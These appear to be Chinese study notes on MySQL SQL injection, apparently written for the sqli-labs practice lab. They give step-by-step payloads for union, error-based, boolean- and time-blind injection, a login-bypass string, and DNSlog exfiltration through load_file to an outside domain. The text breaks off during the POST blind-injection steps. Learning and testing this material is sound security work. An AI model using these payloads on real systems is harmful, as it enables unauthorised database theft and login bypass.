SQL 注入学习手册【笔记】

这篇具有很好参考价值的文章主要介绍了SQL 注入学习手册【笔记】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SQL 注入基础

显注

【GET】 union 注入

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解 SQL 查询语句中的字段数

order by n --+ 【n为字段数】

3. 确定字段的回显点

上面步骤 2 猜出几个就填几个数字

在此之前要将一个不存在的值传给参数【闭合符前】

union select 1,2,... --+

【例】

假设表中不存在 -1 这个值,则

?id=-1' union select 1,2 #

4. 获取当前数据库

union select database() --+

附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名

union select 1,...,schema_name from information_schema.schemata --+

5. 获取数据库中的表
获取当前数据库中的表

union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取指定数据库中的表

union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+

6. 获取表中列名(字段名)

union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+

获取指定数据库表中字段名

union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+

7. 获取字段名的值

union select 1,...,group_concat(字段名1,字段名...) from 表名 --+

获取指定数据库表中字段内容

union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+

【GET】 报错注入

updatexml 报错注入

浅析

函数:updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

【我们的主角是第二个参数,其他两个不用管】

我们要构造一条带有 xpath 语法错误的语句,比如 0x7e【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and updatexml(1,0x7e,1) --+

SQL 注入学习手册【笔记】

很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名

and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容

and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】

and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

extractvalue 报错注入

浅析

函数:extractvalue(XML_document,xpath_string
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
【只有两个参数,我们的主角是第二个参数,另外一个不用管】
【基本跟 updatexml 一样,换汤不换药】

我们要构造一条带有 xpath 语法错误的语句,比如 0x7e【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and extractvalue(1,0x7e)

SQL 注入学习手册【笔记】

很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3. 猜解字段名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+

4. 猜解字段内容

and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+

floor 报错注入

浅析

众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数
而 rand(0) 则生成一个固定的伪随机数
SQL 注入学习手册【笔记】
只要 rand() 里面是 0 ,那么它前十个一定是这几个数
然后将其 *2
SQL 注入学习手册【笔记】
然后再向下取整
SQL 注入学习手册【笔记】
得到这样的一个固定序列,待会会用到

MySQL 在执行 select count(*) from tables group by x 这类语句时会创建一个虚拟表
【key是主键,不可重复。count(*) 用于计数】
SQL 注入学习手册【笔记】
看一眼待会要用的表
SQL 注入学习手册【笔记】

接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行) ,否则插入数据(rand() 会再次执行)
具体流程:
 查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
  而执行插入操作之前floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1
SQL 注入学习手册【笔记】
 接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
 接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
SQL 注入学习手册【笔记】
 接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
  而执行插入操作之前floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错
SQL 注入学习手册【笔记】

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)

order by n --+ 【n为字段数】

3. 猜解数据库名

union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+

4. 猜解表名

union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+

5. 猜解列名(字段名)

union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+

6. 猜解字段的内容

union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
【示例】

union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+

【POST】 union 注入

与 get 提交区别

  1. GET 提交会被缓存,POST 不会
  2. GET 提交参数会被保留在浏览器的历史记录,POST 提交不会
  3. GET 提交可以被收藏为数千,POST 提交不会
  4. GET 提交有长度限制,最长 2048 个字符。POST 没有长度限制,不仅允许用 ASCII 字符,还能用二进制数据
  5. POST 提交更安全

基本步骤

大体跟 GET 提交注入差不多

只不过换了个提交方式而已

可以用 burp 抓包来改,也可以用 hackbar 来改

【偏方】

万能密码

uname=admin' or 1=1 #&passwd=123&submit=Submit

直接登录成功

1. 判断注入类型

数字型 or 字符型

数字型【示例】:id=1
字符型【示例】:id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1 为真
id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解 SQL 查询语句中的字段数

order by n --+ 【n为字段数】

3. 确定字段的回显点

上面步骤 2 猜出几个就填几个数字

在此之前要将一个不存在的值传给参数【闭合符前】

union select 1,2,... --+

【例】

假设表中不存在 -1 这个值,则

uname=-1' union select 1,2 #

4. 获取当前数据库

union select database() --+

附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名

union select 1,...,schema_name from information_schema.schemata --+

5. 获取数据库中的表
获取当前数据库中的表

union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取指定数据库中的表

union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+

6. 获取表中列名(字段名)

union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+

获取指定数据库表中字段名

union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+

7. 获取字段名的值

union select 1,...,group_concat(字段名1,字段名...) from 表名 --+

获取指定数据库表中字段内容

union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+

【POST】 报错注入

与 GET 的报错注入一样,浅析直接看上面的就行了,这里直接上基本步骤

updatexml 报错注入

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:id=1
字符型【示例】:id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1 为真
id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名

and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容

and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】

and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

extractvalue 报错注入

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3. 猜解字段名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+

4. 猜解字段内容

and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+

floor 报错注入

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)

order by n --+ 【n为字段数】

3. 猜解数据库名

union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+

4. 猜解表名

union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+

5. 猜解列名(字段名)

union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+

6. 猜解字段的内容

union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+

若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
                      字符串 开始位置 截取的字符长度
【示例】

union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+

盲注

【GET】 布尔盲注

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1 为真
?id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解数据库名长度(若页面正常显示则判断正确)

and length(database()) = n --+	【n为字符数】【可枚举出 n】

【二分法】【下面步骤用此法】

and length(database()) > n --+	【n为字符数】

3. 猜解数据库名(若页面正常显示则判断正确)

and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+

【n为 ASCII 码,基本字符就前 128 个】

对照 ASCII 码表即可将数据库名拼出 ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】

and substr(database(),...,1) = 's' --+

4.猜解数据库中表的数量(若页面正常显示则判断正确)

and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+

【n 为数量】

5. 猜解数据库表名长度(若页面正常显示则判断正确)

and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

6.猜解表名(若页面正常显示则判断正确)

猜解第一个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第二个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+

【n 为 ASCII 码】【必须要有 limit 1,1

猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

7.猜解表中的字段数(若页面正常显示则判断正确)

and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+

【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解表中的字段名的长度(若页面正常显示则判断正确)

猜解第一个字段名的长度

and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+

【n 为长度】【必须要有 limit a-1,1

9. 猜解字段名(若页面正常显示则判断正确)

猜解第一个字段名

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解列中字段内容的长度(若页面正常显示则判断正确)

猜解第一个字段内容的长度

and (select length(字段名) from 表名 limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(字段名) from 表名 limit a-1,1) > n --+

【n 为长度】【必须要有 limit a-1,1

11. 猜解列中字段内容(若页面正常显示则判断正确)

猜解第一个字段内容

and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+

【n 为 ASCII 码】【必须要有 limit a-1,1

【GET】 时间盲注

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**?id=1 and sleep(2) **

上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解数据库名长度(若页面刷新指定秒则判断正确)

and if(length(database())=n,sleep(2),0) --+

【n为字符数】【可枚举出 n】

and if(length(database())>n,sleep(2),0) --+

【n为字符数】【二分法】【下面步骤用此法】

3. 猜解数据库名(若页面刷新指定秒则判断正确)

and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+

【n为 ASCII 码,基本字符就前 128 个】

and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+

对照 ASCII 码表即可将数据库名拼出 ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】

and if(substr(database(),1,1)='s',sleep(2),0) --+

4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)

and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+

【n 为数量】

5. 猜解表名长度(若页面刷新指定秒则判断正确)

and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名

and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

7. 猜解表中的字段数(若页面刷新指定秒则判断正确)

and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+

【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解字段长度(若页面刷新指定秒则判断正确

猜解第一个字段长度

and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】

and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit a-1,1

9. 猜解字段(若页面刷新指定秒则判断正确)

猜解第一个字段

and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)

猜解第一个字段内容的长度

and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】

and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+

【n 为长度】【必须要有 limit a-1,1

11. 猜解字段内容(若页面刷新指定秒则判断正确)

猜解第一个字段内容

and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】

and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+

【n 为 ASCII 码】【必须要有 limit a-1,1

【GET】 DNSlog 注入

需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习

所用命令

select load_file("");

由于是读文件,需要相对应的读写权限

👇👇👇

首先查看 MySQL 是否有读写文件的权限

show variables like '%secure%';

若 secure_file_priv 的值为 NULL ,则没有读写权限

若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限

若 secure_file_priv 的值为 ,则在任何路径下都有读写权限

如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加 secure_file_priv=

保存之后重启 mysql 服务即可

前置知识

UNC 路径

\\servername\sharename

servername 表示 ip 或者域名

sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】

【注意】

\\ 容易被当成转义符,建议使用 //

手动注入基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1
字符型【示例】:?id=1'

这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**?id=1 and sleep(2) ** 【延时判断】

上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合


【以数字型为例,字符型同理】
?id=1 and 1=1 为真 【布尔判断】
?id=1 and 1=2 为假

上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例

3. 获取数据库名

and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+

所以我们只需要改 select database()你的Identifier 即可
select database()填 sql 注入语句

4. 获取表名

只能一条一条的读,改 limit 后面的值即可

and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+

5. 获取字段名

and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+

6. 获取字段内容

and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+

至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
SQL 注入学习手册【笔记】

自动化注入基本步骤

CEYE API

DnslogSqlinj

python 2

1. 获取 CEYE 的 api

2. 获取和配置工具

工具:DnslogSqlinj

下载下来

将上面的 api 和域名填成自己的

需要 python 2 环境

安装三个包

pip install gevent==1.2.2 -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install termcolor -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

3. 用法

类似 sqlmap

python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({}) --+" -D "security" --tables

注入位置要自己标出来,即后面的 ({})

有时候会报错且结果不一定准确,自行判断该不该用

【POST】 布尔盲注

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:id=1
字符型【示例】:id=1'

这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型

那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1 为真
id=1 and 1=2 为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合

看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释

2. 猜解数据库名长度(若页面正常显示则判断正确)

and length(database()) = n --+	【n为字符数】【可枚举出 n】

【二分法】【下面步骤用此法】

and length(database()) > n --+	【n为字符数】

3. 猜解数据库名(若页面正常显示则判断正确)

and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+

【n为 ASCII 码,基本字符就前 128 个】

对照 ASCII 码表即可将数据库名拼出 ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】

and substr(database(),...,1) = 's' --+

4.猜解数据库中表的数量(若页面正常显示则判断正确)

and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+

【n 为数量】

5. 猜解数据库表名长度(若页面正常显示则判断正确)

and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+

【n 为长度】【必须要有 limit 0,1

6.猜解表名(若页面正常显示则判断正确)

猜解第一个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+

【n 为 ASCII 码】【必须要有 limit 0,1

猜解第二个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+

【n 为 ASCII 码】【必须要有 limit 1,1

猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】

